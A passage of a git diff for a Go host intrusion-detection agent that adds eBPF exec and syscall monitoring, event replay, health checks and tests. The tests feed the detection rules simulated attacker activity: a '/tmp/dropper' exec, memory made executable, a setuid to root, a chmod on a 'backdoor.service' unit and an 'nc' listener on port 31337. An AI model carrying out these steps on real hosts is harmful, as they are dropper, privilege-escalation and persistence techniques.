array of incident summaries and exit") + ebpfExec := flag.Bool("ebpf-exec", false, "enable the native execve eBPF source (fails open to polling)") + ebpfSyscall := flag.Bool("ebpf-syscall", false, "enable the native security-syscall eBPF source (fails open to polling)") + checkHealth := flag.Bool("health", false, "check the state heartbeat as JSON and exit") + showVersion := flag.Bool("version", false, "print version and exit") host := flag.String("host", "", "override hostname (parity/testing only)") timestamp := flag.String("timestamp", "", "override RFC3339 timestamp (parity/testing only)") flag.Parse() + if *showVersion { + fmt.Println(agent.Version) + return nil + } + if *eventsTail < 0 { + return fmt.Errorf("events-tail must be non-negative") + } + if *eventsTail > 0 { + path := *eventLogPath + if path == "" { + eventsDir := *stateDir + if eventsDir == "" { + eventsDir = "/var/lib/enodia-sentinel-go" + } + path = eventsDir + "/events.jsonl" + } + rows, err := eventlog.ReadRecent(path, *eventsTail) + if err != nil { + return err + } + for _, row := range rows { + if _, err := os.Stdout.Write(append(row, '\n')); err != nil { + return err + } + } + return nil + } cfg, err := config.Load(*configPath) if err != nil { return err } + if *checkHealth { + healthDir := *stateDir + if healthDir == "" { + healthDir = "/var/lib/enodia-sentinel-go" + } + status := health.Check(healthDir, time.Now(), time.Duration(cfg.HeartbeatMaxAge)*time.Second) + encoder := json.NewEncoder(os.Stdout) + encoder.SetEscapeHTML(false) + if err := encoder.Encode(status); err != nil { + return err + } + if !status.Healthy { + return errors.New(status.Detail) + } + return nil + } + if *rulesList || *rulesShow != 0 { + engine, err := events.LoadExecRuleEngine(cfg.ExecRulesFile) + if err != nil { + return err + } + catalog := events.RuleCatalog(engine) + payload := any(catalog) + if *rulesShow != 0 { + rule := events.FindRule(catalog, *rulesShow) + if rule == nil { + return fmt.Errorf("no such rule sid: %d", *rulesShow) + } + payload = rule + } + encoder := json.NewEncoder(os.Stdout) + encoder.SetEscapeHTML(false) + return encoder.Encode(payload) + } + if *correlateFile != "" { + raw, err := os.ReadFile(*correlateFile) + if err != nil { + return err + } + var incidents []correlation.Incident + if err := json.Unmarshal(raw, &incidents); err != nil { + return fmt.Errorf("correlation incidents: %w", err) + } + results := make([][]correlation.Record, 0, len(incidents)) + for _, incident := range incidents { + results = append(results, correlation.Correlate(incident, nil)) + } + encoder := json.NewEncoder(os.Stdout) + encoder.SetEscapeHTML(false) + return encoder.Encode(results) + } + if *execEvents != "" { + return replayExecEvents(cfg, *execEvents, *host, *timestamp, os.Stdout) + } + if *syscallEvents != "" { + return replaySyscallEvents(*syscallEvents, *host, *timestamp, os.Stdout) + } + if *hostEvents != "" { + return replayHostEvents(*hostEvents, *host, *timestamp, os.Stdout) + } + if *eventStream != "" { + return replayEventStream(cfg, *eventStream, *host, *timestamp, os.Stdout) + } capture := func() (model.State, error) { return system.Capture(*procRoot) } if *fixture != "" { capture = func() (model.State, error) { @@ -54,6 +173,18 @@ func run() error { } runner := agent.New(cfg, capture) + runner.SetExecProbeStatus("off (not requested)") + runner.SetSyscallProbeStatus("off (not requested)") + if *fixture == "" && *stateDir != "" { + // Stateful mode is explicit so an opt-in validation sidecar + // cannot overwrite the production Python agent's baseline files merely + // by being run for a smoke test. + cfg.LogDir = *stateDir + runner.Config = cfg + runner.Lifecycle = baseline.New(cfg, func() []string { + return system.ScanSUIDBinaries(*suidRoot, cfg.SUIDScanExtraDirs) + }) + } if *host != "" { runner.Host = func() (string, error) { return *host, nil } } @@ -64,12 +195,370 @@ func run() error { } runner.Now = func() time.Time { return fixed } } + if err := runner.Initialize(); err != nil { + return err + } + + var execSource *ebpfsource.ExecSource + var execEngine events.ExecRuleEngine + if *ebpfExec { + execEngine, err = events.LoadExecRuleEngine(cfg.ExecRulesFile) + if err != nil { + return err + } + execSource, err = ebpfsource.OpenExecSource() + if err != nil { + runner.SetExecProbeStatus("disabled (" + probeFailureStatus(err) + ")") + fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor disabled:", err) + } else { + runner.SetExecProbeStatus("enabled") + defer execSource.Close() + } + } + var syscallSource *ebpfsource.SyscallSource + if *ebpfSyscall { + syscallSource, err = ebpfsource.OpenSyscallSource(*procRoot) + if err != nil { + runner.SetSyscallProbeStatus("disabled (" + probeFailureStatus(err) + ")") + fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor disabled:", err) + } else { + runner.SetSyscallProbeStatus("enabled") + defer syscallSource.Close() + } + } + var retainedEvents *eventlog.Writer + if *eventLogPath != "" { + retainedEvents, err = eventlog.New(*eventLogPath, *eventLogMaxBytes) + if err != nil { + return err + } + } + var snapshotStore *snapshot.Store + if *snapshotDir != "" { + snapshotStore, err = snapshot.New( + *snapshotDir, *procRoot, cfg.MaxSnapshots, cfg.MaxSnapshotAgeDays, + ) + if err != nil { + return err + } + } + notifier := sdnotify.FromEnvironment() + if err := notifier.Notify("READY=1\nSTATUS=initialization complete; poll loop ready"); err != nil { + return fmt.Errorf("systemd readiness notification: %w", err) + } + defer notifier.Notify("STOPPING=1\nSTATUS=stopping") //nolint:errcheck -- process exit is already committed ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) defer stop() encoder := json.NewEncoder(os.Stdout) encoder.SetEscapeHTML(false) - return runner.Run(ctx, *once, func(event map[string]any) error { - return encoder.Encode(event) + var encoderMu sync.Mutex + emit := func(event map[string]any) error { + encoderMu.Lock() + defer encoderMu.Unlock() + if snapshotStore != nil && event["event_type"] == "alert" { + if _, err := snapshotStore.CaptureEvent(event); err != nil { + return err + } + } + if snapshotStore != nil && event["event_type"] == "status" { + if status, ok := event["status"].(schema.Status); ok { + stats, err := snapshotStore.SnapshotStats() + if err != nil { + return err + } + status.TotalAlerts = stats.Total + status.Counts = stats.Counts + status.LastAlert = stats.LastAlert + event["status"] = status + } + } + if retainedEvents != nil { + if err := retainedEvents.Append(event); err != nil { + return err + } + } + if err := encoder.Encode(event); err != nil { + return err + } + if *stateDir != "" && event["event_type"] == "status" { + if err := health.WriteHeartbeat(*stateDir, time.Now()); err != nil { + return err + } + } + return nil + } + if execSource != nil && !*once { + go monitorExecSource(ctx, execSource, execEngine, runner, emit) + } + if syscallSource != nil && !*once { + go monitorSyscallSource( + ctx, syscallSource, events.DefaultSyscallRuleEngine(), + events.DefaultHostRuleEngine(), runner, emit, + ) + } + return runner.Run(ctx, *once, emit) +} + +func monitorExecSource( + ctx context.Context, + source execEventReader, + engine events.ExecRuleEngine, + runner *agent.Agent, + emit agent.EmitFunc, +) { + for { + execEvent, err := source.Read() + if err != nil { + var lost ebpfsource.LostSamplesError + if errors.As(err, &lost) { + fmt.Fprintln(os.Stderr, "enodia-sentinel-go:", lost.Error()) + continue + } + if ctx.Err() == nil { + runner.SetExecProbeStatus("disabled (reader failure)") + fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor stopped:", err) + } + return + } + records, err := runner.AlertEvents(engine.Match(execEvent)) + if err != nil { + runner.SetExecProbeStatus("disabled (event encoding failure)") + fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor stopped:", err) + return + } + for _, record := range records { + if err := emit(record); err != nil { + runner.SetExecProbeStatus("disabled (output failure)") + fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF exec monitor stopped:", err) + return + } + } + } +} + +func monitorSyscallSource( + ctx context.Context, + source syscallEventReader, + syscallEngine events.SyscallRuleEngine, + hostEngine events.HostRuleEngine, + runner *agent.Agent, + emit agent.EmitFunc, +) { + for { + securityEvent, err := source.Read() + if err != nil { + var lost ebpfsource.SyscallLostSamplesError + if errors.As(err, &lost) { + fmt.Fprintln(os.Stderr, "enodia-sentinel-go:", lost.Error()) + continue + } + if ctx.Err() == nil { + runner.SetSyscallProbeStatus("disabled (reader failure)") + fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor stopped:", err) + } + return + } + var alerts []model.Alert + if securityEvent.Syscall != nil { + alerts = syscallEngine.Match(*securityEvent.Syscall) + } else if securityEvent.Host != nil { + alerts = hostEngine.Match(*securityEvent.Host) + } + records, err := runner.AlertEvents(alerts) + if err != nil { + runner.SetSyscallProbeStatus("disabled (event encoding failure)") + fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor stopped:", err) + return + } + for _, record := range records { + if err := emit(record); err != nil { + runner.SetSyscallProbeStatus("disabled (output failure)") + fmt.Fprintln(os.Stderr, "enodia-sentinel-go: eBPF syscall monitor stopped:", err) + return + } + } + } +} + +type execEventReader interface { + Read() (events.ExecEvent, error) +} + +type syscallEventReader interface { + Read() (ebpfsource.SecurityEvent, error) +} + +func probeFailureStatus(err error) string { + if errors.Is(err, syscall.EPERM) || errors.Is(err, syscall.EACCES) { + return "permission denied" + } + line, _, _ := strings.Cut(err.Error(), "\n") + const limit = 160 + characters := []rune(line) + if len(characters) > limit { + line = string(characters[:limit-1]) + "…" + } + return line +} + +func replayExecEvents(cfg config.Config, path, host, timestamp string, output *os.File) error { + raw, err := os.ReadFile(path) + if err != nil { + return err + } + var replay []events.ExecEvent + if err := json.Unmarshal(raw, &replay); err != nil { + return fmt.Errorf("exec events: %w", err) + } + engine, err := events.LoadExecRuleEngine(cfg.ExecRulesFile) + if err != nil { + return err + } + if host == "" { + host, err = os.Hostname() + if err != nil { + return err + } + } + if timestamp == "" { + timestamp = time.Now().Local().Format(time.RFC3339Nano) + } else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil { + return fmt.Errorf("timestamp: %w", err) + } + encoder := json.NewEncoder(output) + encoder.SetEscapeHTML(false) + for _, execEvent := range replay { + for _, alert := range engine.Match(execEvent) { + record, err := schema.Build("alert", alert, host, timestamp) + if err != nil { + return err + } + if err := encoder.Encode(record); err != nil { + return err + } + } + } + return nil +} + +func replaySyscallEvents(path, host, timestamp string, output *os.File) error { + raw, err := os.ReadFile(path) + if err != nil { + return err + } + var replay []events.SyscallEvent + if err := json.Unmarshal(raw, &replay); err != nil { + return fmt.Errorf("syscall events: %w", err) + } + if host == "" { + host, err = os.Hostname() + if err != nil { + return err + } + } + if timestamp == "" { + timestamp = time.Now().Local().Format(time.RFC3339Nano) + } else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil { + return fmt.Errorf("timestamp: %w", err) + } + engine := events.DefaultSyscallRuleEngine() + encoder := json.NewEncoder(output) + encoder.SetEscapeHTML(false) + for _, syscallEvent := range replay { + for _, alert := range engine.Match(syscallEvent) { + record, err := schema.Build("alert", alert, host, timestamp) + if err != nil { + return err + } + if err := encoder.Encode(record); err != nil { + return err + } + } + } + return nil +} + +func replayHostEvents(path, host, timestamp string, output *os.File) error { + raw, err := os.ReadFile(path) + if err != nil { + return err + } + var replay []events.HostEvent + if err := json.Unmarshal(raw, &replay); err != nil { + return fmt.Errorf("host events: %w", err) + } + if host == "" { + host, err = os.Hostname() + if err != nil { + return err + } + } + if timestamp == "" { + timestamp = time.Now().Local().Format(time.RFC3339Nano) + } else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil { + return fmt.Errorf("timestamp: %w", err) + } + engine := events.DefaultHostRuleEngine() + encoder := json.NewEncoder(output) + encoder.SetEscapeHTML(false) + for _, hostEvent := range replay { + for _, alert := range engine.Match(hostEvent) { + record, err := schema.Build("alert", alert, host, timestamp) + if err != nil { + return err + } + if err := encoder.Encode(record); err != nil { + return err + } + } + } + return nil +} + +func replayEventStream(cfg config.Config, path, host, timestamp string, output *os.File) error { + engine, err := events.LoadExecRuleEngine(cfg.ExecRulesFile) + if err != nil { + return err + } + var input *os.File + if path == "-" { + input = os.Stdin + } else { + input, err = os.Open(path) + if err != nil { + return err + } + defer input.Close() + } + if host == "" { + host, err = os.Hostname() + if err != nil { + return err + } + } + if timestamp == "" { + timestamp = time.Now().Local().Format(time.RFC3339Nano) + } else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil { + return fmt.Errorf("timestamp: %w", err) + } + rules := events.NewRuleSet(engine) + encoder := json.NewEncoder(output) + encoder.SetEscapeHTML(false) + return events.ScanJSONL(input, func(raw []byte) error { + alerts, err := rules.MatchJSON(raw) + if err != nil { + return err + } + for _, alert := range alerts { + record, err := schema.Build("alert", alert, host, timestamp) + if err != nil { + return err + } + if err := encoder.Encode(record); err != nil { + return err + } + } + return nil }) } diff --git a/go-agent/cmd/enodia-sentinel-go/main_test.go b/go-agent/cmd/enodia-sentinel-go/main_test.go new file mode 100644 index 0000000..e61c069 --- /dev/null +++ b/go-agent/cmd/enodia-sentinel-go/main_test.go @@ -0,0 +1,162 @@ +// SPDX-License-Identifier: GPL-3.0-or-later + +package main + +import ( + "context" + "fmt" + "io" + "strings" + "syscall" + "testing" + "time" + + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/agent" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/ebpfsource" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" +) + +type oneExecReader struct { + event events.ExecEvent + cancel context.CancelFunc + read bool +} + +func (r *oneExecReader) Read() (events.ExecEvent, error) { + if !r.read { + r.read = true + return r.event, nil + } + r.cancel() + return events.ExecEvent{}, io.EOF +} + +type oneSyscallReader struct { + event ebpfsource.SecurityEvent + cancel context.CancelFunc + read bool +} + +func (r *oneSyscallReader) Read() (ebpfsource.SecurityEvent, error) { + if !r.read { + r.read = true + return r.event, nil + } + r.cancel() + return ebpfsource.SecurityEvent{}, io.EOF +} + +func TestMonitorExecSourceUsesSharedAlertPipeline(t *testing.T) { + runner := monitorTestAgent() + ctx, cancel := context.WithCancel(context.Background()) + reader := &oneExecReader{ + event: events.ExecEvent{PID: 42, PPID: 7, UID: 1000, ParentComm: "bash", Filename: "/tmp/dropper"}, + cancel: cancel, + } + var records []map[string]any + monitorExecSource(ctx, reader, events.DefaultExecRuleEngine(), runner, func(record map[string]any) error { + records = append(records, record) + return nil + }) + if len(records) != 1 || records[0]["event_type"] != "alert" { + t.Fatalf("unexpected records: %#v", records) + } + alert := records[0]["alert"].(model.Alert) + if alert.SID != 100001 || alert.Key != "exec:100001:42" { + t.Fatalf("unexpected alert: %#v", alert) + } +} + +func TestMonitorSyscallSourceUsesSharedAlertPipeline(t *testing.T) { + runner := monitorTestAgent() + ctx, cancel := context.WithCancel(context.Background()) + reader := &oneSyscallReader{ + event: ebpfsource.SecurityEvent{Syscall: &events.SyscallEvent{ + PID: 42, PPID: 7, UID: 1000, Comm: "dropper", Syscall: "mprotect", + Args: [6]uint64{0x1000, 0x2000, 0x6}, + }}, + cancel: cancel, + } + var records []map[string]any + monitorSyscallSource(ctx, reader, events.DefaultSyscallRuleEngine(), events.DefaultHostRuleEngine(), runner, func(record map[string]any) error { + records = append(records, record) + return nil + }) + if len(records) != 1 || records[0]["event_type"] != "alert" { + t.Fatalf("unexpected records: %#v", records) + } + alert := records[0]["alert"].(model.Alert) + if alert.SID != 100060 || alert.Key != "syscall:100060:42:mprotect:1000:6" { + t.Fatalf("unexpected alert: %#v", alert) + } +} + +func TestMonitorSyscallSourceRoutesTypedHostEvent(t *testing.T) { + runner := monitorTestAgent() + ctx, cancel := context.WithCancel(context.Background()) + reader := &oneSyscallReader{ + event: ebpfsource.SecurityEvent{Host: &events.HostEvent{ + Event: "setuid", PID: 42, PPID: 7, UID: 1000, Comm: "python3", + TargetUID: 0, TargetGID: -1, + }}, + cancel: cancel, + } + var records []map[string]any + monitorSyscallSource(ctx, reader, events.DefaultSyscallRuleEngine(), events.DefaultHostRuleEngine(), runner, func(record map[string]any) error { + records = append(records, record) + return nil + }) + if len(records) != 1 { + t.Fatalf("unexpected records: %#v", records) + } + alert := records[0]["alert"].(model.Alert) + if alert.SID != 100071 || alert.Signature != "host_rule.privilege-transition" { + t.Fatalf("unexpected alert: %#v", alert) + } +} + +func TestMonitorSyscallSourceRoutesPermissionChange(t *testing.T) { + runner := monitorTestAgent() + ctx, cancel := context.WithCancel(context.Background()) + reader := &oneSyscallReader{ + event: ebpfsource.SecurityEvent{Host: &events.HostEvent{ + Event: "chmod", PID: 42, PPID: 7, UID: 1000, Comm: "installer", + Path: "/etc/systemd/system/backdoor.service", Mode: 0o755, + TargetUID: -1, TargetGID: -1, + }}, + cancel: cancel, + } + var records []map[string]any + monitorSyscallSource(ctx, reader, events.DefaultSyscallRuleEngine(), events.DefaultHostRuleEngine(), runner, func(record map[string]any) error { + records = append(records, record) + return nil + }) + if len(records) != 1 { + t.Fatalf("unexpected records: %#v", records) + } + alert := records[0]["alert"].(model.Alert) + if alert.SID != 100070 || alert.Signature != "host_rule.persistence-permission-change" { + t.Fatalf("unexpected alert: %#v", alert) + } +} + +func monitorTestAgent() *agent.Agent { + runner := agent.New(config.Default(), nil) + runner.Host = func() (string, error) { return "host-a", nil } + runner.Now = func() time.Time { + return time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC) + } + return runner +} + +func TestProbeFailureStatusIsConcise(t *testing.T) { + if got := probeFailureStatus(fmt.Errorf("load: %w", syscall.EPERM)); got != "permission denied" { + t.Fatalf("permission status=%q", got) + } + got := probeFailureStatus(fmt.Errorf("%s\nverifier detail", strings.Repeat("x", 200))) + if len([]rune(got)) != 160 || !strings.HasSuffix(got, "…") { + t.Fatalf("unexpected truncated status: %q", got) + } +} diff --git a/go-agent/go.mod b/go-agent/go.mod index 41f4180..fe2c505 100644 --- a/go-agent/go.mod +++ b/go-agent/go.mod @@ -1,3 +1,8 @@ module codeberg.org/anassaeneroi/enodia-sentinal/go-agent -go 1.23 +go 1.25.0 + +require ( + github.com/cilium/ebpf v0.22.0 + golang.org/x/sys v0.43.0 +) diff --git a/go-agent/go.sum b/go-agent/go.sum new file mode 100644 index 0000000..bc23b6c --- /dev/null +++ b/go-agent/go.sum @@ -0,0 +1,26 @@ +github.com/cilium/ebpf v0.22.0 h1:v2ktp0roffpMOj2MMf3idtCQZOsAoC4BJbAJN+ke2bY= +github.com/cilium/ebpf v0.22.0/go.mod h1:CDzZbe2hC5JjlDC+CY3KFCzlYwN4gbxppYM+Z10bQt4= +github.com/go-quicktest/qt v1.101.1-0.20240301121107-c6c8733fa1e6 h1:teYtXy9B7y5lHTp8V9KPxpYRAVA7dozigQcMiBust1s= +github.com/go-quicktest/qt v1.101.1-0.20240301121107-c6c8733fa1e6/go.mod h1:p4lGIVX+8Wa6ZPNDvqcxq36XpUDLh42FLetFU7odllI= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/josharian/native v1.1.0 h1:uuaP0hAbW7Y4l0ZRQ6C9zfb7Mg1mbFKry/xzDAfmtLA= +github.com/josharian/native v1.1.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w= +github.com/jsimonetti/rtnetlink/v2 v2.0.1 h1:xda7qaHDSVOsADNouv7ukSuicKZO7GgVUCXxpaIEIlM= +github.com/jsimonetti/rtnetlink/v2 v2.0.1/go.mod h1:7MoNYNbb3UaDHtF8udiJo/RH6VsTKP1pqKLUTVCvToE= +github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= +github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/mdlayher/netlink v1.7.2 h1:/UtM3ofJap7Vl4QWCPDGXY8d3GIY2UGSDbK+QWmY8/g= +github.com/mdlayher/netlink v1.7.2/go.mod h1:xraEF7uJbxLhc5fpHL4cPe221LI2bdttWlU+ZGLfQSw= +github.com/mdlayher/socket v0.5.1 h1:VZaqt6RkGkt2OE9l3GcC6nZkqD3xKeQLyfleW/uBcos= +github.com/mdlayher/socket v0.5.1/go.mod h1:TjPLHI1UgwEv5J1B5q0zTZq12A/6H7nKmtTanQE37IQ= +github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ= +github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc= +golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU= +golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY= +golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= +golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= +golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI= +golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= diff --git a/go-agent/internal/agent/agent.go b/go-agent/internal/agent/agent.go index feaa540..67f1425 100644 --- a/go-agent/internal/agent/agent.go +++ b/go-agent/internal/agent/agent.go @@ -2,15 +2,17 @@ // Package agent owns the parallel Go sweep loop. It emits JSON-compatible // records but does not write Python daemon state or replace the production -// service during Phase 1. +// service during migration. package agent import ( "context" "fmt" "os" + "sync" "time" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline" "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/detectors" "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" @@ -25,36 +27,60 @@ type CaptureFunc func() (model.State, error) // EmitFunc receives one enodia.event.v1-compatible record. type EmitFunc func(map[string]any) error -// Agent is the Phase 1 sidecar sweep loop. +// Agent is the migration sidecar sweep loop. type Agent struct { Config config.Config Capture CaptureFunc Host func() (string, error) Now func() time.Time + // Lifecycle is nil for deterministic fixtures. Live sidecars attach a + // baseline manager so startup grace and durable first-seen state match the + // Python oracle without contaminating parity inputs. + Lifecycle *baseline.Manager + + cooldownMu sync.Mutex + cooldowns map[string]time.Time + probeMu sync.RWMutex + ebpf string + ebpfExec string + ebpfSyscall string + initializeMu sync.Mutex + initialized bool + initializeErr error } // New builds an agent with production clock and hostname providers. func New(cfg config.Config, capture CaptureFunc) *Agent { return &Agent{ - Config: cfg, - Capture: capture, - Host: os.Hostname, - Now: time.Now, + Config: cfg, + Capture: capture, + Host: os.Hostname, + Now: time.Now, + ebpf: "unknown", + ebpfExec: "unknown", + ebpfSyscall: "unknown", } } // Sweep captures state once and returns alert events followed by one status -// event. Retained snapshot fields remain empty until persistence is ported. +// event. The executable replaces the zero-value retention fields after its +// optional snapshot sink has durably processed the preceding alert records. func (a *Agent) Sweep() ([]map[string]any, error) { state, err := a.Capture() if err != nil { return nil, err } + now := a.Now() + if a.Lifecycle != nil { + if err := a.Lifecycle.Prepare(&state, now); err != nil { + return nil, err + } + } host, err := a.Host() if err != nil { return nil, err } - timestamp := a.Now().Local().Format(time.RFC3339Nano) + timestamp := now.Local().Format(time.RFC3339Nano) alerts := make([]model.Alert, 0) // Preserve the relative order of Python detectors.REGISTRY. Snapshot and @@ -84,14 +110,32 @@ func (a *Agent) Sweep() ([]map[string]any, error) { if a.Config.Enabled("egress") { alerts = append(alerts, detectors.Egress(state, a.Config)...) } - events := make([]map[string]any, 0, len(alerts)+1) - for _, alert := range alerts { - record, err := schema.Build("alert", alert, host, timestamp) - if err != nil { + // Python's registry uses listener_baseline as one shared arming gate for + // all four baseline-diff detectors, including first_seen and persistence. + if state.ListenerBaseline != nil { + if a.Config.Enabled("first_seen") { + alerts = append(alerts, detectors.FirstSeen(state, a.Config)...) + } + if a.Config.Enabled("new_listener") { + alerts = append(alerts, detectors.NewListener(state, a.Config)...) + } + if a.Config.Enabled("persistence") { + alerts = append(alerts, detectors.Persistence(state, a.Config)...) + } + if a.Config.Enabled("new_suid") { + alerts = append(alerts, detectors.NewSUID(state, a.Config)...) + } + } + if a.Lifecycle != nil { + if err := a.Lifecycle.Commit(state, now); err != nil { return nil, err } - events = append(events, record) } + events, err := a.alertEvents(alerts, now, host, timestamp) + if err != nil { + return nil, err + } + ebpfStatus, ebpfExecStatus, ebpfSyscallStatus := a.probeStatus() status := schema.Status{ Schema: schema.StatusV1, Version: Version, @@ -99,9 +143,9 @@ func (a *Agent) Sweep() ([]map[string]any, error) { TotalAlerts: 0, Counts: map[string]int{}, LastAlert: nil, - EBPF: "unknown", - EBPFExec: "unknown", - EBPFSyscall: "unknown", + EBPF: ebpfStatus, + EBPFExec: ebpfExecStatus, + EBPFSyscall: ebpfSyscallStatus, Host: host, } record, err := schema.Build("status", status, host, timestamp) @@ -111,12 +155,108 @@ func (a *Agent) Sweep() ([]map[string]any, error) { return append(events, record), nil } +// SetExecProbeStatus updates both the compatibility eBPF field and the +// specific exec-probe field. It is safe to call from a source goroutine after +// an asynchronous reader failure. +func (a *Agent) SetExecProbeStatus(status string) { + a.probeMu.Lock() + defer a.probeMu.Unlock() + a.ebpf = status + a.ebpfExec = status +} + +// SetSyscallProbeStatus updates the syscall-specific probe field. The legacy +// eBPF field continues to mirror exec status, matching the Python contract. +func (a *Agent) SetSyscallProbeStatus(status string) { + a.probeMu.Lock() + defer a.probeMu.Unlock() + a.ebpfSyscall = status +} + +func (a *Agent) probeStatus() (string, string, string) { + a.probeMu.RLock() + defer a.probeMu.RUnlock() + return a.ebpf, a.ebpfExec, a.ebpfSyscall +} + +// AlertEvents applies the shared cooldown gate and wraps asynchronous detector +// results in the same schema used by sweep alerts. Live kernel sources call +// this method instead of maintaining a second emission path. +func (a *Agent) AlertEvents(alerts []model.Alert) ([]map[string]any, error) { + now := a.Now() + host, err := a.Host() + if err != nil { + return nil, err + } + return a.alertEvents(alerts, now, host, now.Local().Format(time.RFC3339Nano)) +} + +func (a *Agent) alertEvents(alerts []model.Alert, now time.Time, host, timestamp string) ([]map[string]any, error) { + alerts = a.freshAlerts(alerts, now) + records := make([]map[string]any, 0, len(alerts)) + for _, alert := range alerts { + record, err := schema.Build("alert", alert, host, timestamp) + if err != nil { + return nil, err + } + records = append(records, record) + } + return records, nil +} + +// Initialize establishes live baselines before asynchronous event sources are +// started. It is idempotent so an executable can enforce startup ordering and +// Run can still safely own initialization for library callers. +func (a *Agent) Initialize() error { + a.initializeMu.Lock() + defer a.initializeMu.Unlock() + if a.initialized { + return a.initializeErr + } + a.initialized = true + if a.Lifecycle != nil { + if a.Capture == nil { + a.initializeErr = fmt.Errorf("capture function is required for baseline initialization") + return a.initializeErr + } + // Use the same injectable clock for lifecycle gates and event timestamps; + // otherwise fixed-clock tests could arm against wall time by accident. + a.Lifecycle.Now = a.Now + a.initializeErr = a.Lifecycle.Initialize(baseline.CaptureFunc(a.Capture)) + } + return a.initializeErr +} + +// freshAlerts mirrors Python's per-key cooldown gate. The mutex matters once +// live event sources join polling: asynchronous kernel alerts and sweep alerts +// must consume the same cooldown slots instead of racing into duplicates. +func (a *Agent) freshAlerts(alerts []model.Alert, now time.Time) []model.Alert { + a.cooldownMu.Lock() + defer a.cooldownMu.Unlock() + if a.cooldowns == nil { + a.cooldowns = make(map[string]time.Time) + } + fresh := make([]model.Alert, 0, len(alerts)) + for _, alert := range alerts { + previous, seen := a.cooldowns[alert.Key] + if seen && now.Sub(previous) < a.Config.Cooldown { + continue + } + a.cooldowns[alert.Key] = now + fresh = append(fresh, alert) + } + return fresh +} + // Run emits one sweep immediately and then waits for each configured interval. // once is used by parity checks and operator-visible smoke tests. func (a *Agent) Run(ctx context.Context, once bool, emit EmitFunc) error { if a.Capture == nil || emit == nil { return fmt.Errorf("capture and emit functions are required") } + if err := a.Initialize(); err != nil { + return err + } for { events, err := a.Sweep() if err != nil { diff --git a/go-agent/internal/agent/agent_test.go b/go-agent/internal/agent/agent_test.go index 8161e70..5cafd50 100644 --- a/go-agent/internal/agent/agent_test.go +++ b/go-agent/internal/agent/agent_test.go @@ -7,8 +7,10 @@ import ( "testing" "time" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline" "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config" "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model" + "codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/schema" ) func intPointer(value int) *int { return &value } @@ -40,6 +42,66 @@ func TestRunOnceEmitsAlertAndStatusEnvelopes(t *testing.T) { } } +func TestRunAttachesLiveBaselineLifecycle(t *testing.T) { + cfg := config.Default() + cfg.LogDir = t.TempDir() + cfg.BaselineGrace = 0 + calls := 0 + capture := func() (model.State, error) { + calls++ + port := "0.0.0.0:22" + comm := "sshd" + if calls > 1 { + port = "0.0.0.0:31337" + comm = "nc" + } + pid := 42 + return model.State{Sockets: []model.Socket{{ + State: "LISTEN", Local: port, Comm: comm, PID: &pid, Kind: "tcp", + }}}, nil + } + runner := New(cfg, capture) + runner.Lifecycle = baseline.New(cfg, func() []string { return []string{} }) + runner.Host = func() (string, error) { return "host-a", nil } + runner.Now = func() time.Time { + return time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC) + } + var events []map[string]any + if err := runner.Run(context.Background(), true, func(event map[string]any) error { + events = append(events, event) + return nil + }); err != nil { + t.Fatal(err) + } + if calls != 2 || 